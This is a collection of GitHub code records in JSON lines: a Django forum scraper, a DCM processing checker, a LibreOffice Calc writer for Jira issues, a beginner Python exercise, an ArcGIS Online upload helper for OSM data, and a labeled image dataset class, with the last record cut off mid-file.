{"seq_id":"18945337207","text":"from cProfile import run\nfrom datetime import datetime\nimport requests\nfrom urllib.parse import urlparse\nfrom bs4 import BeautifulSoup\nfrom .functions import getNextPageUrl, getPage, getPostsFromPage, Threads\nfrom .dtb import dtb\n\ndef runScrap(_siteid):\n    # global siteid\n    # siteid = _siteid\n    print(_siteid)\n    scrap_limit = 0\n    URL = \"https://community.o2.co.uk/t5/Discussions-Feedback/bd-p/4\"\n    domain = urlparse(URL).netloc\n    page = requests.get(URL)\n    pageContent = BeautifulSoup(page.content, \"html.parser\")\n\n    all_threads = []\n\n    Threads.objects.all().delete()\n\n    # On récupere le chemin de la page\n    currentPagePath   = urlparse(URL).path\n    \n    while  scrap_limit != 4:\n        threads = []\n        print('\\niteration: ', scrap_limit, ' ', currentPagePath)\n        currentPage   = getPage(domain, currentPagePath)\n        threads.append(getPostsFromPage(currentPage))\n        currentPagePath   = urlparse(getNextPageUrl(currentPage)).path\n        scrap_limit = scrap_limit + 1\n        all_threads.append(threads)\n\n\n\n    print(\"the scrapping task is finished\")\n","repo_name":"Lucas-dev-974/Django-scraaping-site","sub_path":"Site/ScrapCore/forum_scrapper.py","file_name":"forum_scrapper.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72634720742","text":"import os\n\n# A letöltött anyagokon (backup mappa) megnézi, melyik paciensből hány session készült el\n\ndef main(dir, model):\n    backup = \"/mnt/raid6_data/user/dszabo/azure/dcm_analysis_backup/20220222\"\n    vms = os.listdir(backup)\n    pats = os.listdir(dir)\n    pats.sort()\n    n = 0\n    for pat in pats:\n        sessions = [\"REST1_LR\",\"REST1_RL\",\"REST2_LR\",\"REST2_RL\"]\n        pat_sessions = []\n        for vm in vms:\n            processed_pat = backup+\"/\"+vm+\"/analysis/DCM/largescale/conn_4sess/\" + pat\n            if os.path.exists(processed_pat):\n                for sess in sessions:\n                    if os.path.exists(processed_pat+\"/\"+sess):\n                        files = os.listdir(processed_pat+\"/\"+sess)\n                        dcm_file = \"DCM_\"+pat+\"_\"+sess+\"_\"+model+\"_csd.mat\"\n                        if dcm_file in files:\n                            pat_sessions.append(sess)\n        pat_sessions.sort()\n        print(pat + \" \" + \",\".join(pat_sessions))\n    #print(str(n))\n\n\n\nif __name__ == \"__main__\":\n    import sys\n    main(sys.argv[1], sys.argv[2])\n","repo_name":"aranyics/UD-dcm-on-Azure","sub_path":"Monitoring/check_full_processed_local.py","file_name":"check_full_processed_local.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"23269945213","text":"import json\r\nfrom lib.oo.exceptions  import *\r\nfrom lib.oo.import_oo_libs import *\r\nfrom lib.writer.ADataWriter import ADataWriter\r\nfrom lib.jira.JiraIssue import JiraIssue\r\nimport lib.oo.pyoo_override\r\nimport pyoo\r\nfrom lib.tools.tools import *\r\n\r\n\r\nclass OoDataWriter(ADataWriter):\r\n\t\"\"\"\r\n\tGère l'écriture des issues dans OpenOffice (LibreOffice plus précisement)\r\n\r\n\tTODO renommer en CalcDataWriter\r\n\r\n\t@python-version 3.3.5\r\n\t@author fhill\r\n\t\"\"\"\r\n\r\n\tdef __init__(self, host, port):\r\n\r\n\t\tsuper().__init__()\r\n\r\n\t\tself.host   = host\r\n\t\tself.port   = port\r\n\t\tself.desktop= None\r\n\t\tself.doc    = None\r\n\r\n\r\n\r\n\t# ---------------------------------------------------------------------------\r\n\t# Public\r\n\t# ---------------------------------------------------------------------------\r\n\r\n\r\n\tdef connect(self, file=None):\r\n\t\t\"\"\"\r\n\t\t:param file: chemin de fichier dans lequel écrire. Si pas fourni, un nouveau sera ouvert\r\n\t\t\"\"\"\r\n\t\tself.log.debug('')\r\n\r\n\t\tself.log.debug(\"* Launching OO server...\")\r\n\t\tself._launchOoServer()\r\n\r\n\t\tself.log.debug(\"* Connecting writer to OO server...\")\r\n\t\tself._connect()\r\n\t\tself._openSpreadsheet(file)\r\n\r\n\r\n\r\n\tdef erase(self):\r\n\t\tself.log.debug('')\r\n\t\tself._erase()\r\n\r\n\r\n\r\n\tdef setParams(self, params):\r\n\t\tif safeReadDict(params, 'host'    , None) is not None: self.host      = safeReadDict(params, 'host'    , None)\r\n\t\tif safeReadDict(params, 'port'    , None) is not None: self.port      = safeReadDict(params, 'port'    , None)\r\n\r\n\r\n\r\n\tdef writeIssues(self, issues):\r\n\t\tself.log.debug('')\r\n\t\treturn self._writeIssues(issues)\r\n\r\n\r\n\r\n\tdef finished(self):\r\n\t\t# Rien de particulier à faire\r\n\t\tself.log.debug('')\r\n\t\tpass\r\n\r\n\r\n\r\n\tdef getReportMsg(self):\r\n\t\t# Pas de rapport particulier\r\n\t\treturn ''\r\n\r\n\r\n\r\n\t# ---------------------------------------------------------------------------\r\n\t# Privé\r\n\t# ---------------------------------------------------------------------------\r\n\r\n\tdef _launchOoServer(self):\r\n\t\t\"\"\"\r\n\t\tPour les tests\r\n\t\tLance le process LibreOffice mode serveur en background... (on peut aussi le lancer séparément, \"à la main\")\r\n\t\t\"\"\"\r\n\r\n\t\t# Ne marche pas :\r\n\t\t##from subprocess import check_output\r\n\t\t##check_output('\"C:\\Program Files (x86)\\LibreOffice 4\\program\\soffice\" -accept=\"socket,host=localhost,port=2002;urp;\" ', shell=True)\r\n\r\n\t\ttry:\r\n\t\t\timport subprocess\r\n\t\t\tcmd = '\"' + conf['path']['PATH_TO_OO_SOFFICE'] + '\" -accept=\"socket,host='+str(self.host)+',port='+str(self.port)+';urp;\" '\r\n\t\t\tself.log.debug(\"cmd=\"+cmd)\r\n\t\t\tsubprocess.Popen(cmd)\r\n\t\t\timport time\r\n\t\t\ttime.sleep(2)\r\n\t\texcept Exception as e:\r\n\t\t\traise OOException(\"Erreur lors du lancement de LibreOffice en mode serveur\", e)\r\n\r\n\r\n\r\n\tdef _connect(self):\r\n\t\t\"\"\"\r\n\t\tOn se connecte à l'instance OO\r\n\t\t(préalablement lancée dans une terminal de commande Windows avec la commande suivante\r\n\t\t  \"C:\\Program Files (x86)\\LibreOffice 4\\program\\soffice\" -accept=\"socket,host=localhost,port=2002;urp;\"\r\n\t\t)\r\n\r\n\t\t:return: port on which connection was finally made\r\n\t\t\"\"\"\r\n\t\t#print(pyoo)\r\n#\t\tself.log.debug(pyoo)\r\n\r\n\t\ttry_port = self.port\r\n\t\tnb_tries = 10\r\n\t\te_ = None\r\n\r\n\t\twhile ( nb_tries > 0 ):\r\n\t\t\ttry:\r\n\t\t\t\tself.desktop = lib.oo.pyoo_override.Desktop(self.host, try_port) #pyoo.Desktop(self.host, self.port)\r\n\t\t\t\tself.log.debug(\"connect() DONE\")\r\n\t\t\t\treturn try_port\r\n\t\t\texcept Exception as e:\r\n\t\t\t\ttry_port_failed = try_port\r\n\t\t\t\ttry_port += 1\r\n\t\t\t\tnb_tries -= 1\r\n\t\t\t\tmsg_strategy    = \"Will try again on port %s\" % (try_port,) if (nb_tries > 0 ) else \"Giving up trying other ports, raising error\"\r\n\t\t\t\tmsg             = \"Failed to connect to OO on port %s. %s.\\n Original cause exception is : %s\" % (try_port_failed, msg_strategy, str(e))\r\n\t\t\t\tself.log.warning(msg  )\r\n\t\t\t\te_ = e\r\n\r\n\t\t# Failed to connect\r\n\t\traise OOException(\"Impossible de se connecter à OO sur le port spécifié. Veuillez fermer Libre Office ou modifier le port de connexion dans la configuration.\", e_)\r\n\r\n\r\n\r\n\tdef _openSpreadsheet(self, path=None):\r\n\t\t\"\"\"\r\n\t\tOuvre un document LibreOffice et l'assigne à cette classe comme \"docuement courant\"\r\n\r\n\t\t:param path: full path to spreadsheet e.g. \"/path/to/spreadsheet.ods\"\r\n\t\t             Si pas fourni, ouvre un (nouveau) document sans nom\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tif not path:\r\n\t\t\tself.doc = self.desktop.create_spreadsheet()\r\n\t\telse:\r\n\t\t\tself.doc = self.desktop.open_spreadsheet(path)\r\n\r\n\r\n\r\n\tdef _writeIssues(self, jira_issues, write_header=True):\r\n\t\t\"\"\"\r\n\t\t Stratégie d'écriture \"matricielle\" plus rapide que l'écriture par cellule )\r\n\t\t:param jira_issues:\r\n\t\t:type jira_issues: list[JiraIssue]\r\n\t\t:return: le nombre de lignes écrites\r\n\t\t\"\"\"\r\n\r\n\t\tsheet = self._getDestSheet()\r\n\r\n\t\t# Liste ordonnée des champs à écrire dans OO\r\n\t\tfields = json.loads(conf['oo']['WRITE_ISSUES_FIELDS'])\r\n\r\n\t\t# Header\r\n\t\tif write_header:\r\n\t\t\tcol = 0\r\n\t\t\tfor field in fields:\r\n\t\t\t\t#self.log.debug(\"current field=\" + field)\r\n\t\t\t\tsheet[0, col].value            = field                      # On peut optimiser ... : inutile d'écrire la ligne de libellés à chaque fois\r\n\t\t\t\tsheet[0, col].font_weight      = pyoo.FONT_WEIGHT_BOLD\r\n\t\t\t\tsheet[0, col].background_color = 0xbfbfbf\r\n\t\t\t\tcol += 1\r\n\r\n\t\t# Données\r\n\t\tnb_row = len(jira_issues)\r\n\t\tnb_col = len(fields)\r\n\r\n\t\tself.log.debug(\"nb_row, nb_col = %s %s\"  % (nb_row, nb_col) )\r\n\r\n\t\tmatrix = [['init' for i in range(nb_col)] for j in range(nb_row)]   # initialisation de la matrice de données\r\n\r\n\t\trow = 0\r\n\t\tcol = 0\r\n\t\tfor iss in jira_issues:\r\n\t\t\tfor field in fields:\r\n\t\t\t\tval = vars(iss)[field]\r\n\t\t\t\tself.log.debug(\"About to set : matrix[%s][%s] = %s\" % (row, col, val))\r\n\t\t\t\tmatrix[row][col] = self._formatVal(val)\r\n\t\t\t\tcol += 1\r\n\t\t\trow += 1\r\n\t\t\tcol = 0\r\n\r\n\t\tshift = 1 if write_header else 0\r\n\t\tsheet[0+shift:nb_row+shift, 0:nb_col].values = matrix\r\n\r\n\t\treturn row\r\n\r\n\r\n\r\n\tdef _getDestSheet(self):\r\n\t\t\"\"\"\r\n\t\tDans le document courant, récupère la feuille dans laquelle écrire les données\r\n\t\tJira (voir fichier de configuration)\r\n\t\t@todo this could be a attribute of this class rather than a getter\r\n\t\t:return: pyoo.Sheet\r\n\t\t\"\"\"\r\n\t\tsheet = self._getSheet(self.doc, conf['oo']['WRITE_ISSUES_IN_SHEET'], conf['oo']['ISSUE_SHEET_POSITION'])\r\n\t\treturn sheet\r\n\r\n\r\n\r\n\tdef _getSheet(self, doc, id, index = None):\r\n\t\t\"\"\"\r\n\t\tFonction d'accès \"sécurisée\" à un onglet dans le document courant\r\n\r\n\t\tSi l'onglet existe, celui-ci est retourné.\r\n\t\tS'il n'existe pas, celui-ci est d'abord créé puis retourné.\r\n\r\n\t\t:param doc: document OO (Feuille de calcul)\r\n\t\t:param id: Indentifiant de l'onglet : soit son nom soit son index lorsqu'il existe.\r\n\t\t                         S'il n'existe pas, alors il s'agit de son nom.\r\n\t\t:type id:  str|int\r\n\t\t:param index: Dans le cas d'une création d'onglet, spécifie ou le placer par rapport aux autres.\r\n\t\t              Selon pyoo: \"If an optional index argument is not provided then the created sheet is appended at the end\"\r\n\t\t:type index: int\r\n\t\t:return:\r\n\t\t:rtype: pyoo.Sheet\r\n\t\t\"\"\"\r\n\r\n\t\tif index == -1 : index = None\r\n\r\n\t\t# Vérifier si l'onglet existe\r\n\t\t# Vilain, mais bon ... à défaut d'avoir une fonction pour en tester l'existence, on tente l'accès et on attrappe l'exception le cas échéant\r\n\t\t# (apparemment c'est la mode dans Python ;o) )\r\n\t\ttry:\r\n\t\t\tsheet = self.doc.sheets[id]\r\n\t\texcept KeyError as e:\r\n\t\t\tself.log.info(\"Onglet [\" + id + \"] non détecté. => Création...\")\r\n\t\t\tsheet = self.doc.sheets.create(id, index)\r\n\t\treturn sheet\r\n\r\n\r\n\r\n\tdef _erase(self):\r\n\t\t\"\"\"\r\n\t\tVide la feuille destination des données Jira du document courant\r\n\t\tPour des raisons techniques il faut spécifier une colonne max et une ligne max : voir fichier de conf\r\n\t\t(en effet il ne semble pas possible de connaître l'étendue des cellules contenant des données)\r\n\r\n\t\t:param sheet:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tself.log.debug('')\r\n\t\tsheet = self._getDestSheet()\r\n\r\n\t\treturn self._eraseSheet_1(sheet)\r\n\r\n\r\n\r\n\tdef _eraseSheet_1(self, sheet):\r\n\t\t\"\"\"\r\n\t\tImplémentation de l'effacement d'une feuille : effacement par application d'une matrice de valeurs (vides),\r\n\t\tavec dimension de la matrice prédéfinie (en conf)\r\n\t\tBien plus rapide que l'effacement cellule par cellule\r\n\r\n\t\t:param sheet:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tself.log.debug('')\r\n\t\t#sheet[0:10, 0].values = \"0:10, 0\"\r\n\r\n\t\tMAX_NB_ROWS=int(conf['oo']['ERASE_UP_TO_ROW'])\r\n\t\tMAX_NB_COLS=int(conf['oo']['ERASE_UP_TO_COL'])\r\n\r\n\t\tmatrix_erase = [['' for i in range(MAX_NB_COLS)] for j in range(MAX_NB_ROWS)]\r\n\t\tsheet[0:MAX_NB_ROWS, 0:MAX_NB_COLS].values = matrix_erase\r\n\r\n\r\n\r\n\tdef _formatVal(self, val):\r\n\t\t\"\"\"\r\n\t\tFormate la valeur issue de Jira dans le format attendu pour le fichier Calc\r\n\r\n\t\t:param val:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tret_val = \"\"\r\n\t\tif val is None:\r\n\t\t\tret_val = \"\"\r\n\t\telif isNumeric(val):\r\n\t\t\t# remplace , par .\r\n\t\t\t# On pourrait utiliser un formatage de float, mais pour aller plus vite vu qu'on sait déjà que c'est un float :\r\n\t\t\tret_val = str(val).replace('.', ',')\r\n\t\telse:\r\n\t\t\tret_val = str(val)\r\n\r\n\t\treturn ret_val","repo_name":"franzhill/jira2calc","sub_path":"lib/writer/writers/OoDataWriter.py","file_name":"OoDataWriter.py","file_ext":"py","file_size_in_byte":8879,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32535112333","text":"#3.Solicitar dos números al usuario y calcular cuál es el mayor y cuál el menor, e imprimir los resultados.\r\n\r\na=int(input(\"Ingrese el primer numero: \"))\r\nb=int(input(\"Ingrese el segundo numero: \"))\r\n\r\nif a > b:\r\n    print(\"El numero mayor es\", a)\r\nif b > a:\r\n    print(\"El numero mayor es\", b)\r\nif a == b:\r\n    print(\"Los numeros son iguales\")","repo_name":"DannaGonzalez60/Phyton","sub_path":"Ejercicios/Condicionales/ejercicio3.py","file_name":"ejercicio3.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16344637135","text":"__version__ = \"1.4\"\n'''\n__author__ = \"Simon Geigenberger, Lukas Bug\"\n__copyright__ = \"Copyright 2018, Esri Deutschland GmbH\"\n__license__ = \"Apache-2.0\"\n__version__ = \"1.4\"\n__email__ = \"simon@geigenberger.info, lukas.bug@aol.de\"\n\nThis python module is used to load the data of a data frame an ArcGIS Online or Portal. The ArcGIS Python API is used to achieve this goal. \nAt first the connection to the ArcGIS Online or Portal is built by using the URL, user and password. The second step is to build the dictionary that is used to \npublish the Feature Collection.\n'''\n\nimport datetime\nfrom arcgis import features as fs\nfrom arcgis.gis import GIS\nimport progressbar\np = 0\nt_resultlist = []\nt_list = []\n\ndef prepareLayerUpload(ftLC, featSetList, i):\n    '''\n    Function to prepare upload to ArcGIS Online or another Portal and to react on upload errors.\n    @param ftLC: Contains the layer item on the portal, where the new feature data is stored.\n    @param featSetList: Contains the new features, which are stored in the layer.\n    @param i: Contains the layer number.\n    '''\n    status = addFeaturesToLayer(ftLC.layers[i],featSetList[i])\n    successlist = [elem['success'] for elem in status]\n    if 'False' not in successlist:\n        print('All Items in layer '+ftLC.layers[i].properties.name+' uploaded sucessfully')\n    else:\n        print('There was an error uploading items in layer '+ftLC.layers[i].properties.name)\n        raise ValueError(\"Upload error to portal\")      \n\ndef createpbar(total):\n    '''\n    Function to create a new progressbar, returns the progressbar.\n    @param total: Contains the maximum value of the progressbar.\n    '''\n    pbar = progressbar.ProgressBar(widgets=[progressbar.Percentage(), progressbar.Bar()], maxval=total).start()\n    return pbar\n\ndef updatepbar(progress, pbar):\n    '''\n    Function to update an existing progressbar, returns the progress value.\n    @param progress: Contains the new value of the progressbar.\n    @param pbar: Contains an existing progressbar object.\n    '''\n    progress+=1\n    pbar.update(progress)\n    if progress == pbar.maxval:\n        pbar.finish()\n    return progress\n\ndef addFeaturesToLayer(layer, featlist):\n    '''\n    Function to split featurelist into server processable chunks, calls the upload function, returns a list of upload results.\n    @param layer: Contains the layer item on the portal, where the new feature data is stored.\n    @param featlist: Contains an existing progressbar object.\n    '''\n    global t_resultlist \n    global t_list\n    n = 500\n    featlistchunks = list(featlist.features[i:i+n] for i in range(0, len(featlist.features), n))\n    print('Uploading layer '+layer.properties.name+' to Portal . . .')\n    pbar = createpbar(len(featlistchunks))\n    arglist = [(chunk, layer, pbar) for chunk in featlistchunks]\n    p=0\n    for chunk in arglist:\n        feataddHelper(chunk)\n        p = updatepbar(p,pbar)\n    resultlist = t_resultlist\n    t_resultlist = []\n    t_list = []\n    return resultlist\n\ndef feataddHelper(args):\n    '''\n    Function to upload a chunk of features to the layer.\n    @param args: Two-dimensional list, containing a chunk of features and a reference to the layer in the portal.\n    '''\n    global t_resultlist\n    chunk = args[0]\n    layer = args[1]\n    t_resultlist+=layer.edit_features(adds = chunk)['addResults']\n\ndef updateFieldDefn(ftrs):\n    '''\n    Function to update field definition for GlobalID and OBJECTID fields, needed for correctly working layers.\n    @param ftrs: The featureset, where the field definition is appended.\n    '''\n    dictFieldGlobalID = {}\n    dictFieldGlobalID[\"alias\"] = \"GlobalID\"\n    dictFieldGlobalID[\"name\"] = \"GlobalID\"\n    dictFieldGlobalID[\"type\"] = \"esriFieldTypeGlobalID\"\n    dictFieldGlobalID[\"sqlType\"] = \"sqlTypeOther\"\n    dictFieldGlobalID[\"length\"] = 100\n    dictFieldGlobalID[\"nullable\"] = False\n    dictFieldGlobalID[\"editable\"] = False\n    dictFieldGlobalID[\"domain\"] = None\n    dictFieldGlobalID[\"defaultValue\"] = None\n    dictFieldOBJECTID = {}\n    dictFieldOBJECTID[\"alias\"] = \"OBJECTID\"\n    dictFieldOBJECTID[\"name\"] = \"OBJECTID\"\n    dictFieldOBJECTID[\"type\"] = \"esriFieldTypeOID\"\n    dictFieldOBJECTID[\"sqlType\"] = \"sqlTypeOther\"\n    dictFieldOBJECTID[\"length\"] = 15\n    dictFieldOBJECTID[\"nullable\"] = False\n    dictFieldOBJECTID[\"editable\"] = False\n    dictFieldOBJECTID[\"domain\"] = None\n    dictFieldOBJECTID[\"defaultValue\"] = None\n    ftrs.fields.append(dictFieldGlobalID)\n    ftrs.fields.append(dictFieldOBJECTID)\n\ndef checkStringInNumericField(ftrs, fld):\n    '''\n    Function to check if a string is inside a numeric field, returns the boolean types True or False.\n    @param ftrs: The featureset containing the field, that should be checked.\n    @param fld: The field to be checked for strings.\n    '''\n    templist = []\n    for val in ftrs.features:\n        cols = val.attributes\n        templist.append(type(cols[fld]))\n    \n    if type('str') in templist:\n        return True\n    else:\n        return False\n\n\ndef repairDateFields(fields, ftrs):\n    '''\n    Function to perform inplace repairs for date type related fields.\n    @param fields: The list of fields to be repaired.\n    @param ftrs: The featureset containing the fields to be repaired.\n    '''\n    for fldname in fields:\n        dictField = {}\n        dictField[\"alias\"] = fldname\n        dictField[\"name\"] = dictField[\"alias\"]\n        dictField[\"type\"] = \"esriFieldTypeDate\"\n        dictField[\"length\"] = 20\n        dictField[\"sqlType\"] = \"sqlTypeOther\"\n        ftrs.fields[fields[fldname]] = dictField     \n\ndef repairBigIntFields(fields, ftrs):\n    '''\n    Function to perform inplace repairs for big integer type related fields.\n    @param fields: The list of fields to be repaired.\n    @param ftrs: The featureset containing the fields to be repaired. \n    '''\n    for fldname in fields:\n        dictField = {}\n        dictField[\"alias\"] = fldname\n        dictField[\"name\"] = dictField[\"alias\"].replace(\":\",u\"\\u005F\")\n        dictField[\"sqlType\"] = \"sqlTypeBigInt\"\n        dictField[\"type\"] = \"esriFieldTypeInteger\"\n        dictField[\"length\"] = 15\n        ftrs.fields[fields[fldname]] = dictField \n\ndef createLayerDefintion(fieldDef, osmConfig, geometry, idx):\n    '''\n    Function to create layer definitions for upload to the portal, returns a dictionary with the layer definition.\n    @param fieldDef: A list containing the field definition.\n    @param osmConfig: A dictionary containing the OSM configuration defined in the file osmconfig.json. \n    @param geometry: The geometry type of the current layer.\n    @param idx: The index of the current layer.\n    '''\n    currentCategory = osmConfig['categories'][idx]\n    dictLayer = {}\n    dictLayer[\"geometryType\"] = geometry\n    dictLayer[\"minScale\"] = 0\n    dictLayer[\"maxScale\"] = 0\n    dictLayer[\"globalIdField\"] = \"GlobalID\"\n    dictLayer[\"objectIdField\"] = \"OBJECTID\"\n    dictLayer[\"extent\"] = {\"xmin\":osmConfig['minLon'],\n                            \"ymin\":osmConfig['minLat'],\n                            \"xmax\":osmConfig['maxLon'],\n                            \"ymax\":osmConfig['maxLat'],\n                            \"spatialReference\": {\"wkid\" : 4326, \"latestWkid\" : 4326}}\n    dictLayer[\"name\"] = str(currentCategory['categoryName'])+'-'+str(idx)+\"-\"+str(geometry[12:])\n    dictLayer[\"fields\"] = fieldDef\n    return dictLayer      \n\n\ndef createFeatureServiceLayerCollection(agolConfig, osmConfig):\n    '''\n    Function to create a new feature service in the portal, returns a feature layer collection.\n    @param agolConfig: A dictionary object containing the AGOL configuration defined in the file agolconfig.json.\n    @param osmConfig: A dictionary object containing the OSM configuration defined in the file osmconfig.json.\n    '''\n    gis = GIS(agolConfig['portal'], agolConfig['user'], agolConfig['password'])\n    title = agolConfig['title']\n    tags = agolConfig['tags']\n    description = agolConfig['description']\n    copyrightText = agolConfig['copyrightText']\n    maxRecordCount = agolConfig['maxRecordCount']\n    timeNow = str(datetime.datetime.now()).replace(':','-').replace(' ','_')\n    serviceName = title+'_'+timeNow\n    featureService = gis.content.create_service(serviceName, wkid=4326, item_properties={\"tags\":tags,\"extent\":[osmConfig['minLat']-1.0,osmConfig['minLon']-1.0,osmConfig['maxLat']+1.0,osmConfig['maxLon']+1.0]})\n    featureLayerCollection = fs.FeatureLayerCollection.fromitem(featureService)\n    serviceConfiguration = {\"copyrightText\": copyrightText,\n                            \"objectIdField\" : \"OBJECTID\",\n                            \"globalIdField\" : \"GlobalID\",\n                            \"maxRecordCount\": maxRecordCount,\n                            \"serviceDescription\": description,\n                            \"capabilities\": 'Create,Editing,Query,Update,Uploads,Delete,Sync,Extract',\n                            \"spatialReference\": {\"wkid\": 4326,\"latestWkid\": 4326},\n                            \"initialExtent\":{\"xmin\":osmConfig['minLon'],\"ymin\":osmConfig['minLat'],\"xmax\":osmConfig['maxLon'],\"ymax\":osmConfig['maxLat'], \n                                \"spatialReference\":{ \"wkid\" : 4326, \"latestWkid\" : 4326}},\n                            \"fullExtent\":{\"xmin\":osmConfig['minLon'],\"ymin\":osmConfig['minLat'],\"xmax\":osmConfig['maxLon'],\"ymax\":osmConfig['maxLat'],\n                                \"spatialReference\": {\"wkid\" : 4326, \"latestWkid\" : 4326}}}\n    result = featureLayerCollection.manager.update_definition(serviceConfiguration)\n    if result ['success'] == True:                            \n        return featureLayerCollection\n    else:\n        raise Exception(result).with_traceback(result)\n\n\n\ndef uploadToPortal(agolConfig, osmConfig, osmdata):\n    '''\n    Function to upload osm-data to ArcGIS Online or another Portal.\n    @param agolConfig: Contains user credentials and information on the portal where the data is uploaded\n    @param osmConfig: Contains information on the OSM-configuration\n    @param osmdata: Contains the downloaded data from osm as list of SpatialDataFrames\n    '''\n    layerList = []\n    featSetList = []\n    i=-1\n    for df in osmdata:\n        i+=1\n        print(\"Preparing layer \"+str(i+1)+\" for upload to Portal\")\n        p=0\n        pbar = createpbar(10)\n        p = updatepbar(p, pbar)\n        cols = {k:df.columns.get_loc(k) for k in dict(df.dtypes) if dict(df.dtypes)[k] in ['int64']}\n        dcols = {k:df.columns.get_loc(k) for k in dict(df.dtypes) if dict(df.dtypes)[k] in ['datetime64[ns]']}\n        ftrs = df.to_featureset()\n        cntr=0\n        fielddict={}\n        p = updatepbar(p, pbar)\n        for f in ftrs.fields:\n            if f['name'] != 'timestamp':\n                cntr+=1\n                f['alias'] = f['name']\n                f['name'] = \"f_\"+str(cntr)\n                fielddict[f['alias']] = f['name']\n                f['length'] = 1000\n                f['sqlType'] = \"sqlTypeOther\"\n                f['type'] = \"esriFieldTypeString\" \n        p = updatepbar(p, pbar)\n        for feat in ftrs.features:\n            for f in fielddict:\n                feat.attributes[fielddict[f]] = feat.attributes.pop(f)\n        p = updatepbar(p, pbar)                \n        for feat in ftrs.features:\n            if ftrs.global_id_field_name in feat.attributes:\n                feat.attributes.pop(ftrs.global_id_field_name)\n            if ftrs.object_id_field_name in feat.attributes:\n                feat.attributes.pop(ftrs.object_id_field_name)\n        p = updatepbar(p, pbar)\n        ftrs.fields = [field for field in ftrs.fields if field['name'] != ftrs.global_id_field_name]\n        p = updatepbar(p, pbar)\n        updateFieldDefn(ftrs)\n        repairBigIntFields(cols, ftrs)\n        p = updatepbar(p, pbar)\n        repairDateFields(dcols, ftrs)\n        fieldlist = list(ftrs.fields)\n        p = updatepbar(p, pbar)\n        layerDef = createLayerDefintion(fieldlist, osmConfig, ftrs.geometry_type, osmConfig['enabledCategories'][i])\n        p = updatepbar(p, pbar)\n        layerList.append(layerDef)\n        featSetList.append(ftrs)\n        p = updatepbar(p, pbar)\n    try:\n        print(\"Preparing feature service\")\n        p=0\n        pbar = createpbar(4)\n        p = updatepbar(p, pbar)\n        ftLC = createFeatureServiceLayerCollection(agolConfig, osmConfig)\n        p = updatepbar(p, pbar)\n        layerDict = {\"layers\" : layerList}\n        p = updatepbar(p, pbar)\n        ftLC.manager.add_to_definition(layerDict)\n        p = updatepbar(p, pbar)\n        for i in range(len(ftLC.layers)):\n            prepareLayerUpload(ftLC, featSetList, i)\n    except Exception as e:\n        print('Service creation failed !, Detailed information: '+str(e))\n","repo_name":"EsriDE/EsriDE-python-osm2arcgis","sub_path":"AGOLHelper.py","file_name":"AGOLHelper.py","file_ext":"py","file_size_in_byte":12678,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"31629531899","text":"\"\"\"module labeled_image_dataset. Simple\nwrapper to load a labeled image dataset\n\n\"\"\"\nimport random\nfrom pathlib import Path\n\nfrom PIL.Image import Image as PILImage\nfrom typing import List, Any, Callable, Tuple, Union, Dict\nimport csv\nimport os\n\nfrom navalmartin_mir_vision_utils.image_utils import get_img_files\nfrom navalmartin_mir_vision_utils.image_loaders import load_img\nfrom navalmartin_mir_vision_utils.image_enums import (ImageLoadersEnumType, IMAGE_STR_TYPES)\nfrom navalmartin_mir_vision_utils.mir_vision_config import WITH_TORCH, DUMMY_PATH\nfrom navalmartin_mir_vision_utils.exceptions import InvalidConfiguration\nfrom navalmartin_mir_vision_utils.mir_vision_types import TorchTensor\nfrom navalmartin_mir_vision_utils.image_transformers import pil_to_torch_tensor\n\nif WITH_TORCH:\n    import torch\n\n\nclass LabeledImageDataset(object):\n    \"\"\"Simple class to load from a specified\n    directory images that are organised into\n    subdirectories that represent the labels\n\n    \"\"\"\n\n    @staticmethod\n    def as_pytorch_tensor(dataset: \"LabeledImageDataset\",\n                          transformer: Callable = None) -> Tuple[TorchTensor, List[int]]:\n        \"\"\"Returns a tuple with the images in the dataset as\n        PyTorch tensors. If the images were loaded using ImageLoadersEnumType.PIL\n        then the image is first converted into a PyTorch tensor.\n        Acceptable loaders for the given dataset are ImageLoadersEnumType.PIL or\n        ImageLoadersEnumType.PYTORCH_TENSOR\n        If WITH_TORCH == False, it raises InvalidConfiguration.\n        If the dataset loader is not of the right type it raises ValueError\n\n        Parameters\n        ----------\n        transformer: A list of operations to apply on the returned tensors\n        dataset: The dataset to work on\n\n        Returns\n        -------\n\n        A tuple of PyTorch tensor, List[int]\n        \"\"\"\n        if not WITH_TORCH:\n            raise InvalidConfiguration(message=\"PyTorch is not installed so cannot use pil_to_torch_tensor\")\n\n        labels = []\n        data: List[TorchTensor] = []\n\n        if dataset.loader_type == ImageLoadersEnumType.PIL:\n            for image in dataset:\n                img = image[0]\n                label = image[1]\n\n                if isinstance(img, torch.Tensor):\n                    raise ValueError(f\"Dataset loader type is {ImageLoadersEnumType.PIL.name} \"\n                                     f\"but image point is of type torch.Tensor. \"\n                                     f\"Have you applied any transformation to the images?\")\n\n                # first convert to pytorch tensor and\n                # then apply the transformations\n                img = pil_to_torch_tensor(image=img, unsqueeze_dim=None)\n                if transformer is not None:\n                    img = transformer(img)\n                data.append(img)\n                labels.append(label)\n            return torch.stack(data), labels\n        elif dataset.loader_type == ImageLoadersEnumType.PYTORCH_TENSOR:\n            for image in dataset:\n                img = image[0]\n                label = image[1]\n\n                if transformer is not None:\n                    img = transformer(img)\n\n                data.append(img)\n                labels.append(label)\n            return torch.stack(data), labels\n        elif dataset.loader_type == ImageLoadersEnumType.FILEPATH:\n            for image in dataset:\n                img = image[0]\n                label = image[1]\n\n                pytorch_image = load_img(path=img, transformer=transformer,\n                                         loader=ImageLoadersEnumType.PYTORCH_TENSOR)\n\n                data.append(pytorch_image)\n                labels.append(label)\n            return torch.stack(data), labels\n        else:\n            raise ValueError(f\"Invalid loader type {dataset.loader_type} \"\n                             f\"not in [ImageLoadersEnumType.PIL, 